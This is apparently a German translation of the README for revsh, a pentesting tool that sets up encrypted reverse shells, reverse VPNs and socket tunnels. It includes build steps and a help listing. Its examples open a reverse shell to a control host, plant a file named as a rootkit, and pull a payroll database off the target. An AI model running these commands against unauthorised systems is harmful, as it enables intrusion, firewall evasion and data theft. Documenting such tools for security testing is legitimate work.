
Eine Reverse Shell mit Terminalunterstützung, Daten-Tunneling und erweiterten Pivoting-Fähigkeiten.
revsh ist ein Werkzeug zum Einrichten von Reverse Shells mit Terminal-Unterstützung, umgekehrten VPNs für fortgeschrittenes Pivoting sowie zum beliebigen Daten-Tunneling.
Was ist eine „Reverse Shell"?
Eine Reverse Shell ist eine Netzwerkverbindung, die Shell-Zugriff auf einen entfernten Host gewährt. Im Gegensatz zu anderen Remote-Anmeldetools wie telnet und ssh wird eine Reverse Shell vom entfernten Host initiiert. Diese Technik des ausgehenden Verbindungsaufbaus aus dem entfernten Netzwerk ermöglicht die Umgehung von Firewalls, die so konfiguriert sind, dass sie nur eingehende Verbindungen blockieren.
Was ist ein „Reverse-VPN"?
revsh ist in der Lage, eine virtuelle Ethernet-Karte (tun/tap) an beiden Enden seines Krypto-Tunnels anzubinden. Diese Karten können dann verwendet werden, um rohe IP-Pakete oder Ethernet-Frames weiterzuleiten. In Kombination mit einer Iptables-NAT-Regel oder dem Bridgen einer echten Ethernet-Karte kann der Betreiber so eine vollständig routbare IP-Adresse im Netzwerk der Zielmaschinen erhalten. Dies ist im Wesentlichen ein vollständiges VPN, das einen Rückruf an den Betreiber durchgeführt hat, um die eingehende Paketfilterung zu umgehen und dem Betreiber vollen Netzwerkzugriff zu gewähren. (Weitere Informationen finden Sie unter „Documentation/REVERSE_VPN.md“.)
Was ist eine „Bind Shell"?
Eine Bind Shell ist eine Shell, die über eine normale vorwärts gerichtete Netzwerkverbindung bereitgestellt wird. revsh unterstützt sowohl Reverse- als auch Bind-Shells. Um eine Bind-Shell zu starten, können Sie entweder das -b-Flag auf beiden Enden der Verbindung verwenden oder die Binärdatei als 'bindsh' aufrufen.
Kann ich nicht einfach netcat verwenden?
Es gibt viele Techniken zum Einrichten einer Reverse Shell, aber diese Methoden bieten keine Terminalunterstützung. revsh ermöglicht eine Reverse Shell, deren Verbindung über ein Pseudo-Terminal vermittelt wird, und bietet damit Funktionen wie:
Darüber hinaus bietet revsh die folgenden Funktionen:
revsh ist als ergänzendes Werkzeug für das Pentester-Toolkit gedacht, das den vollständigen Satz an Terminalfunktionen über einen verschlüsselten Tunnel bietet.
Wo kann ich revsh verwenden?
revsh wurde unter x86_64 Linux entwickelt. Hier ist eine kurze Liste von Architektur-/Betriebssystem-Kombinationen, auf denen es verwendet wurde:
(Falls Sie revsh erfolgreich auf einer anderen Plattform verwendet haben, lassen Sie es mich wissen, und ich füge es der Liste hinzu.)
empty@monkey:~$ revsh -h
Control: revsh -c [CONTROL_OPTIONS] [MUTUAL_OPTIONS] [ADDRESS[:PORT]]
Target: revsh [TARGET_OPTIONS] [MUTUAL_OPTIONS] [ADDRESS[:PORT]]
ADDRESS Die Adresse des Control-Listeners. (Standard ist „0.0.0.0“.)
PORT Der Port des Control-Listeners. (Standard ist „2200“.)
CONTROL_OPTIONS:
-c Führe im „Command and Control“-Modus aus. (Standard ist der Target-Modus.)
-a Aktiviere den anonymen Diffie-Hellman-Modus. (Standard ist ephemeres Diffie-Hellman.)
-d KEYS_DIR Verweise auf die Schlüssel in einem alternativen Verzeichnis. (Standard ist „~/.revsh/keys/“.)
-f RC_FILE Verweise auf eine alternative rc-Datei. (Standard ist „~/.revsh/rc“.)
-s SHELL Rufe SHELL als die Remote-Shell auf. (Standard ist „/bin/bash“.)
-F LOG_FILE Protokolliere allgemeine Nutzung und Fehler in LOG_FILE. (Kein Standard gesetzt.)
TARGET_OPTIONS:
-t SEC Setze das Verbindungs-Timeout auf SEC Sekunden. (Standard ist „3600“.)
-r SEC1,SEC2 Setze die Wiederholungszeit auf SEC1 Sekunden oder (Standard ist „600,1200“.)
auf einen Zufallswert im Bereich von SEC1 bis SEC2.
MUTUAL_OPTIONS:
-k Führe im Keep-Alive-Modus aus.
Der Node wird weder normal beendet noch timeoutet.
-L [LHOST:]LPORT:RHOST:RPORT
Statische Socket-Weiterleitung mit einem lokalen Listener
an LHOST:LPORT, der an RHOST:RPORT weiterleitet.
-R [RHOST:]RPORT:LHOST:LPORT
Statische Socket-Weiterleitung mit einem entfernten Listener
an RHOST:RPORT, der an LHOST:LPORT weiterleitet.
-D [LHOST:]LPORT
Dynamische Socket-Weiterleitung mit einem lokalen Listener
an LHOST:LPORT. (Socks 4, 4a und 5. Nur TCP-Connect.)
-B [RHOST:]RPORT
Dynamische Socket-Weiterleitung mit einem entfernten
Listener an LHOST:LPORT. (Socks 4, 4a und 5. Nur TCP-Connect.)
-x Deaktiviere die automatische Einrichtung von Proxys. (Standard: Proxy D2280 und tun/tap-Geräte.)
-b Starte im Bind-Shell-Modus. (Standard ist Reverse-Shell-Modus.)
Das -b-Flag muss auf beiden Enden verwendet werden.
-n Nicht-interaktiver Netcat-artiger Datenvermittler. (Standard ist interaktiv mit Remote-TTY.)
Kein TTY. Nützlich zum Kopieren von Dateien.
-v Ausführlich. -vv und -vvv erhöhen die Ausführlichkeit.
-V Programm- und Protokollversionen anzeigen.
-h Diese Hilfe anzeigen.
-e Einige Nutzungsbeispiele anzeigen.
Zuerst müssen Sie OpenSSL aus dem Quellcode erstellen. (Siehe HINWEIS unten.)
git clone https://github.com/openssl/openssl.git
cd openssl/
./config no-shared -static # Diese Optionen werden benötigt, um statische Anwendungen gegen OpenSSL zu erstellen.
make && make test # Wir überspringen „make install“, um keinen Konflikt mit dem standardmäßigen OpenSSL Ihres Systems zu verursachen. Wir werden _revsh_ gegen das OpenSSL bauen, das wir gerade in diesem Verzeichnis kompiliert haben.
cd ..
Jetzt revsh erstellen.
git clone https://github.com/emptymonkey/revsh.git
cd revsh
vi config.h # Neue Standardeinstellungen für Ihre Situation festlegen.
vi Makefile # Überprüfen, ob die ausgewählte Build-Umgebung die gewünschte ist. (Standardmäßig ist es wahrscheinlich bereits die richtige.)
make # Dies *kann* sehr lange dauern, tut es aber normalerweise nicht.
make install
vi ~/.revsh/rc # Fügen Sie Ihre bevorzugten Startbefehle hinzu, um das Gefühl Ihrer Remote-Shell anzupassen.
revsh -h
HINWEIS: Mit der Veröffentlichung von OpenSSL 1.1.0 muss OpenSSL aus dem Quellcode erstellt werden, um in einer statisch gelinkten Binärdatei verwendet zu werden. Das Erstellen einer statisch gelinkten Binärdatei gegen die OpenSSL-Bibliotheken, die mit den meisten Linux-Distributionen (einschließlich Kali) ausgeliefert werden, wird nicht funktionieren. (Falls es überhaupt baut, wird es einen SEGFAULT geben.)
Beispiel-IP des Control-Hosts: 192.168.0.42
Beispiel-IP des Target-Hosts: 192.168.0.66
Interaktives Beispiel auf Standardport '2200':
control: revsh -c
target: revsh 192.168.0.42
Interaktives Beispiel auf nicht standardmäßigem Port '443':
control: revsh -c 192.168.0.42:443
target: revsh 192.168.0.42:443
Bind-Shell-Beispiel:
target: revsh -b
control: revsh -c -b 192.168.0.66
Nicht-interaktives Datei-Upload-Beispiel:
control: cat ~/bin/rootkit | revsh -c -n
target: revsh 192.168.0.42 > ./totally_not_a_rootkit
Nicht-interaktives Datei-Download-Beispiel:
control: revsh -c -n >payroll_db.tar
target: cat payroll_db.tar | revsh 192.168.0.42
Nicht-interaktives Datei-Download-Beispiel über bestehenden Tunnel:
control: revsh -c -n 127.0.0.1:2291 >payroll_db.tar
target: cat payroll_db.tar | revsh 127.0.0.1:2290